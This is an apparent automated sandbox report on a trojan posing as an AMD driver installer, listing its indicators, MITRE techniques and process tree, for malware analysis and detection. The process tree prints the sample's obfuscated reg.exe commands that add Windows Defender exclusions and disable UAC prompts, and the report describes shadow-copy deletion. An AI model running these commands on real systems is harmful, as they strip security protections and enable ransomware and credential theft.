db69b82d53374540f247c88e50d443835c021819fdbac7745b4f13a3e14e785e

Analysis

max time kernel
157s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
29-11-2022 16:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

AMD-drivers-2.0.7.exe
Size

265.0MB
MD5

4d3bb85589bad628d92b79b17cf5e87e
SHA1

152d6b37b605255a3f7b71e416af6eed1682818a
SHA256

ca15402e6141c7ae941aeed7ff80933c814bce7ca007fb237b7b61c93f3bb338
SHA512

67b4fc2dcb3aeb1b355d9c34b3e46948c868a27db07cce534dd5fb4b2c376206b10bd21be016755b1e20efd51f9b903b3b11cdcc963df23e5d4692a2f8e6f94c
SSDEEP

393216:GKVaRkwboTiwguCPAGlEt883Zr1KCAKmvumolJ5j:dabbO2/DEesmCAKmv4j5j

Score

10^/10

discovery evasion exploit ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender notification settings 3 TTPs 3 IoCs

evasion trojan

Modify Existing Service

T1031

Modify Registry

T1112

Disabling Security Tools

T1089

Processes:

reg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\software\microsoft\windows defender security center\notifications	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\windows defender security center\notifications\disableenhancednotifications = "1"	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 2628 created 2232	2628	svchost.exe	r.exe
PID 2628 created 1660	2628	svchost.exe	r.exe
PID 2628 created 3836	2628	svchost.exe	r.exe
PID 2628 created 4580	2628	svchost.exe	r.exe
PID 2628 created 3056	2628	svchost.exe	r.exe
PID 2628 created 2696	2628	svchost.exe	r.exe
PID 2628 created 4492	2628	svchost.exe	r.exe
PID 2628 created 3204	2628	svchost.exe	r.exe
PID 2628 created 796	2628	svchost.exe	r.exe
PID 2628 created 1068	2628	svchost.exe	r.exe

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioruser = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	reg.exe

Windows security bypass 2 TTPs 11 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereG.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\pathS\C:\Windows\sySteM32\driVerS\eTc\hoStS = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\eXteNSIoNs	reg.exe
Key created	\REGISTRY\MACHINE\SoftwAre\MICroSoFT\wINdowS deFender\exCLusioNs\extensIOnS	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\eXteNSIoNs\cmd = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\eXteNSIoNs\exe = "0"	reG.exe
Key created	\REGISTRY\MACHINE\Software\MicrOSOFT\WiNdows deFeNder\exclUSiOnS\eXteNSIOns	reG.exe
Key created	\REGISTRY\MACHINE\sOFTWAre\MiCroSoFT\wINdows deFeNder\eXClusIoNS\pathS	reg.exe
Key created	\REGISTRY\MACHINE\sOFtWAre\MicrosOFt\WIndOwS defeNder\exCluSIoNS\eXteNSIoNs	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\eXteNSIoNs\dll = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\exCluSIoNS\eXteNSIoNs\scr = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTwAre\microSofT\WindoWS deFeNder\eXcLUSIonS\eXTeNSionS	reg.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490
Drops file in Drivers directory 1 IoCs

Processes:

cmd.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts cmd.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	cmd.exe

Executes dropped EXE 23 IoCs

Processes:

AMD-drivers-2.0.7.tmpAMD-drivers-2.0.7.tmpr.exer.exer.exer.exer.exer.exer.exer.exer.exer.exer.exer.exer.exer.exeobs64.exeobs64.tmpr.exeobs64.exeobs64.tmpobs64.scrobs64.sCr

pid	process
4548	AMD-drivers-2.0.7.tmp
4964	AMD-drivers-2.0.7.tmp
2232	r.exe
1660	r.exe
3836	r.exe
984	r.exe
4580	r.exe
3056	r.exe
4152	r.exe
2696	r.exe
4492	r.exe
928	r.exe
3204	r.exe
796	r.exe
4104	r.exe
1068	r.exe
3236	obs64.exe
1140	obs64.tmp
1448	r.exe
4228	obs64.exe
4212	obs64.tmp
4268	obs64.scr
2120	obs64.sCr

Possible privilege escalation attempt 5 IoCs
exploit

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

4576 takeown.exe
4024 icacls.exe
4420 icacls.exe
996 icacls.exe
5104 icacls.exe

pid	process
4576	takeown.exe
4024	icacls.exe
4420	icacls.exe
996	icacls.exe
5104	icacls.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AMD-drivers-2.0.7.tmpWScript.exeobs64.tmpobs64.sCr

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	AMD-drivers-2.0.7.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	obs64.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	obs64.sCr

Drops startup file 1 IoCs

Processes:

AMD-drivers-2.0.7.tmp

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBS.lnk AMD-drivers-2.0.7.tmp
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

4740 rundll32.exe
2084 rundll32.exe
Modifies file permissions 1 TTPs 5 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid process

4576 takeown.exe
4024 icacls.exe
4420 icacls.exe
996 icacls.exe
5104 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

obs64.scr

pid process

4268 obs64.scr
4268 obs64.scr
Suspicious use of SetThreadContext 1 IoCs

Processes:

obs64.scr

description pid process target process

PID 4268 set thread context of 2120 4268 obs64.scr obs64.sCr
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

444 schtasks.exe
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

4120 vssadmin.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

3668 taskkill.exe
3000 taskkill.exe
1460 taskkill.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OBS.lnk	AMD-drivers-2.0.7.tmp

pid	process
4740	rundll32.exe
2084	rundll32.exe

pid	process
4576	takeown.exe
4024	icacls.exe
4420	icacls.exe
996	icacls.exe
5104	icacls.exe

pid	process
4268	obs64.scr
4268	obs64.scr

description	pid	process	target process
PID 4268 set thread context of 2120	4268	obs64.scr	obs64.sCr

pid	process
444	schtasks.exe

pid	process
4120	vssadmin.exe

pid	process
3668	taskkill.exe
3000	taskkill.exe
1460	taskkill.exe

Modifies data under HKEY_USERS 25 IoCs

Processes:

r.exer.exer.exer.exer.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	r.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	r.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	r.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	r.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	r.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	r.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	r.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

Processes:

AMD-drivers-2.0.7.tmpr.exer.exer.exer.exer.exer.exer.exer.exer.exer.exeobs64.tmpobs64.scrpowershell.exepowershell.exe

pid	process
4964	AMD-drivers-2.0.7.tmp
4964	AMD-drivers-2.0.7.tmp
2232	r.exe
2232	r.exe
2232	r.exe
2232	r.exe
1660	r.exe
1660	r.exe
1660	r.exe
1660	r.exe
3836	r.exe
3836	r.exe
3836	r.exe
3836	r.exe
4580	r.exe
4580	r.exe
4580	r.exe
4580	r.exe
3056	r.exe
3056	r.exe
3056	r.exe
3056	r.exe
2696	r.exe
2696	r.exe
2696	r.exe
2696	r.exe
4492	r.exe
4492	r.exe
4492	r.exe
4492	r.exe
3204	r.exe
3204	r.exe
3204	r.exe
3204	r.exe
796	r.exe
796	r.exe
796	r.exe
796	r.exe
1068	r.exe
1068	r.exe
1068	r.exe
1068	r.exe
4212	obs64.tmp
4212	obs64.tmp
4268	obs64.scr
4268	obs64.scr
864	powershell.exe
864	powershell.exe
2112	powershell.exe
2112	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

taskkill.exetakeown.exetaskkill.exer.exevssvc.exesvchost.exer.exer.exer.exer.exer.exer.exer.exer.exer.exetaskkill.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3000	taskkill.exe
Token: SeTakeOwnershipPrivilege	4576	takeown.exe
Token: SeDebugPrivilege	1460	taskkill.exe
Token: SeDebugPrivilege	2232	r.exe
Token: SeAssignPrimaryTokenPrivilege	2232	r.exe
Token: SeBackupPrivilege	4092	vssvc.exe
Token: SeRestorePrivilege	4092	vssvc.exe
Token: SeAuditPrivilege	4092	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2232	r.exe
Token: 0	2232	r.exe
Token: SeTcbPrivilege	2628	svchost.exe
Token: SeTcbPrivilege	2628	svchost.exe
Token: SeDebugPrivilege	1660	r.exe
Token: SeAssignPrimaryTokenPrivilege	1660	r.exe
Token: SeIncreaseQuotaPrivilege	1660	r.exe
Token: SeDebugPrivilege	3836	r.exe
Token: SeAssignPrimaryTokenPrivilege	3836	r.exe
Token: SeIncreaseQuotaPrivilege	3836	r.exe
Token: 0	3836	r.exe
Token: SeDebugPrivilege	4580	r.exe
Token: SeAssignPrimaryTokenPrivilege	4580	r.exe
Token: SeIncreaseQuotaPrivilege	4580	r.exe
Token: SeDebugPrivilege	3056	r.exe
Token: SeAssignPrimaryTokenPrivilege	3056	r.exe
Token: SeIncreaseQuotaPrivilege	3056	r.exe
Token: 0	3056	r.exe
Token: SeDebugPrivilege	2696	r.exe
Token: SeAssignPrimaryTokenPrivilege	2696	r.exe
Token: SeIncreaseQuotaPrivilege	2696	r.exe
Token: SeDebugPrivilege	4492	r.exe
Token: SeAssignPrimaryTokenPrivilege	4492	r.exe
Token: SeIncreaseQuotaPrivilege	4492	r.exe
Token: 0	4492	r.exe
Token: SeDebugPrivilege	3204	r.exe
Token: SeAssignPrimaryTokenPrivilege	3204	r.exe
Token: SeIncreaseQuotaPrivilege	3204	r.exe
Token: SeDebugPrivilege	796	r.exe
Token: SeAssignPrimaryTokenPrivilege	796	r.exe
Token: SeIncreaseQuotaPrivilege	796	r.exe
Token: 0	796	r.exe
Token: SeDebugPrivilege	1068	r.exe
Token: SeAssignPrimaryTokenPrivilege	1068	r.exe
Token: SeIncreaseQuotaPrivilege	1068	r.exe
Token: SeDebugPrivilege	3668	taskkill.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

AMD-drivers-2.0.7.tmpobs64.tmp

pid process

4964 AMD-drivers-2.0.7.tmp
4212 obs64.tmp
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

obs64.scr

pid process

4268 obs64.scr

pid	process
4268	obs64.scr

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

AMD-drivers-2.0.7.exeAMD-drivers-2.0.7.tmpcmd.exeAMD-drivers-2.0.7.exeAMD-drivers-2.0.7.tmprundll32.exeWScript.execmd.exe

description	pid	process	target process
PID 2000 wrote to memory of 4548	2000	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 2000 wrote to memory of 4548	2000	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 2000 wrote to memory of 4548	2000	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 4548 wrote to memory of 4912	4548	AMD-drivers-2.0.7.tmp	cmd.exe
PID 4548 wrote to memory of 4912	4548	AMD-drivers-2.0.7.tmp	cmd.exe
PID 4548 wrote to memory of 4912	4548	AMD-drivers-2.0.7.tmp	cmd.exe
PID 4548 wrote to memory of 5068	4548	AMD-drivers-2.0.7.tmp	AMD-drivers-2.0.7.exe
PID 4548 wrote to memory of 5068	4548	AMD-drivers-2.0.7.tmp	AMD-drivers-2.0.7.exe
PID 4548 wrote to memory of 5068	4548	AMD-drivers-2.0.7.tmp	AMD-drivers-2.0.7.exe
PID 4912 wrote to memory of 3000	4912	cmd.exe	taskkill.exe
PID 4912 wrote to memory of 3000	4912	cmd.exe	taskkill.exe
PID 4912 wrote to memory of 3000	4912	cmd.exe	taskkill.exe
PID 5068 wrote to memory of 4964	5068	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 5068 wrote to memory of 4964	5068	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 5068 wrote to memory of 4964	5068	AMD-drivers-2.0.7.exe	AMD-drivers-2.0.7.tmp
PID 4964 wrote to memory of 4740	4964	AMD-drivers-2.0.7.tmp	rundll32.exe
PID 4964 wrote to memory of 4740	4964	AMD-drivers-2.0.7.tmp	rundll32.exe
PID 4964 wrote to memory of 4740	4964	AMD-drivers-2.0.7.tmp	rundll32.exe
PID 4740 wrote to memory of 2084	4740	rundll32.exe	rundll32.exe
PID 4740 wrote to memory of 2084	4740	rundll32.exe	rundll32.exe
PID 3088 wrote to memory of 3572	3088	WScript.exe	cmd.exe
PID 3088 wrote to memory of 3572	3088	WScript.exe	cmd.exe
PID 3572 wrote to memory of 604	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 604	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1824	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1824	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 5004	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 5004	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 664	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 664	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2124	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2124	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 380	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 380	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4532	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4532	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4576	3572	cmd.exe	takeown.exe
PID 3572 wrote to memory of 4576	3572	cmd.exe	takeown.exe
PID 3572 wrote to memory of 4024	3572	cmd.exe	icacls.exe
PID 3572 wrote to memory of 4024	3572	cmd.exe	icacls.exe
PID 3572 wrote to memory of 1460	3572	cmd.exe	taskkill.exe
PID 3572 wrote to memory of 1460	3572	cmd.exe	taskkill.exe
PID 3572 wrote to memory of 4420	3572	cmd.exe	icacls.exe
PID 3572 wrote to memory of 4420	3572	cmd.exe	icacls.exe
PID 3572 wrote to memory of 4076	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4076	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1416	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1416	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2832	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2832	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2536	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 2536	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1584	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1584	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1844	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1844	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1700	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 1700	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 3764	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 3764	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 3472	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 3472	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4232	3572	cmd.exe	reg.exe
PID 3572 wrote to memory of 4232	3572	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe
"C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Users\Admin\AppData\Local\Temp\is-MF3GV.tmp\AMD-drivers-2.0.7.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MF3GV.tmp\AMD-drivers-2.0.7.tmp" /SL5="$200FE,13524617,160256,C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4548

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /f /im obs64.scr
3⤵
- Suspicious use of WriteProcessMemory
PID:4912

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im obs64.scr
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe
"C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe" /verysilent /sp-
3⤵
- Suspicious use of WriteProcessMemory
PID:5068

C:\Users\Admin\AppData\Local\Temp\is-VDUVT.tmp\AMD-drivers-2.0.7.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VDUVT.tmp\AMD-drivers-2.0.7.tmp" /SL5="$F01D6,13524617,160256,C:\Users\Admin\AppData\Local\Temp\AMD-drivers-2.0.7.exe" /verysilent /sp-
4⤵
- Executes dropped EXE
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\obs32.dll, Uaby
5⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4740

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32" C:\tmp\obs32.dll, Uaby
6⤵
- Loads dropped DLL
PID:2084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\.cmd""
5⤵
PID:1632

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
r.eXe /SW:0 reg.exe add "hklm\sOFtWAre\MicrosOFt\WIndOwS defeNder\exCluSIoNS\eXteNSIoNs" /v dll /T reg_dWord /d 0 /f
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /SW:0 reg.exe add "hklm\sOFtWAre\MicrosOFt\WIndOwS defeNder\exCluSIoNS\eXteNSIoNs" /v dll /T reg_dWord /d 0 /f
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /TI/ /SW:0 reg.exe add "hklm\sOFtWAre\MicrosOFt\WIndOwS defeNder\exCluSIoNS\eXteNSIoNs" /v dll /T reg_dWord /d 0 /f
8⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:984

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "hklm\sOFtWAre\MicrosOFt\WIndOwS defeNder\exCluSIoNS\eXteNSIoNs" /v dll /T reg_dWord /d 0 /f
9⤵
- Windows security bypass
PID:2380

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
r.eXe /sW:0 reg.exe Add "hKLM\SoftwAre\MICroSoFT\wINdowS deFender\exCLusioNs\extensIOnS" /v scr /t reg_dwOrd /d 0 /F
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3836

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /sW:0 reg.exe Add "hKLM\SoftwAre\MICroSoFT\wINdowS deFender\exCLusioNs\extensIOnS" /v scr /t reg_dwOrd /d 0 /F
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /TI/ /sW:0 reg.exe Add "hKLM\SoftwAre\MICroSoFT\wINdowS deFender\exCLusioNs\extensIOnS" /v scr /t reg_dwOrd /d 0 /F
8⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4152

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" Add "hKLM\SoftwAre\MICroSoFT\wINdowS deFender\exCLusioNs\extensIOnS" /v scr /t reg_dwOrd /d 0 /F
9⤵
- Windows security bypass
PID:2436

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
r.eXe /Sw:0 reg.exe Add "hKlm\SOFTwAre\microSofT\WindoWS deFeNder\eXcLUSIonS\eXTeNSionS" /V cmd /t reG_dwOrd /d 0 /F
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3056

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /Sw:0 reg.exe Add "hKlm\SOFTwAre\microSofT\WindoWS deFeNder\eXcLUSIonS\eXTeNSionS" /V cmd /t reG_dwOrd /d 0 /F
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2696

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /TI/ /Sw:0 reg.exe Add "hKlm\SOFTwAre\microSofT\WindoWS deFeNder\eXcLUSIonS\eXTeNSionS" /V cmd /t reG_dwOrd /d 0 /F
8⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:928

C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" Add "hKlm\SOFTwAre\microSofT\WindoWS deFeNder\eXcLUSIonS\eXTeNSionS" /V cmd /t reG_dwOrd /d 0 /F
9⤵
- Windows security bypass
PID:1456

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
r.exe /sW:0 reG.exe Add "hKlm\Software\MicrOSOFT\WiNdows deFeNder\exclUSiOnS\eXteNSIOns" /V exe /t reg_dWord /d 0 /f
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4492

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
"C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe" /sW:0 reG.exe Add "hKlm\Software\MicrOSOFT\WiNdows deFeNder\exclUSiOnS\eXteNSIOns" /V exe /t reg_dWord /d 0 /f
7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204

C:\Users\Admin\AppData\Local\Temp\is-9MGH5.tmp\temp\r.exe
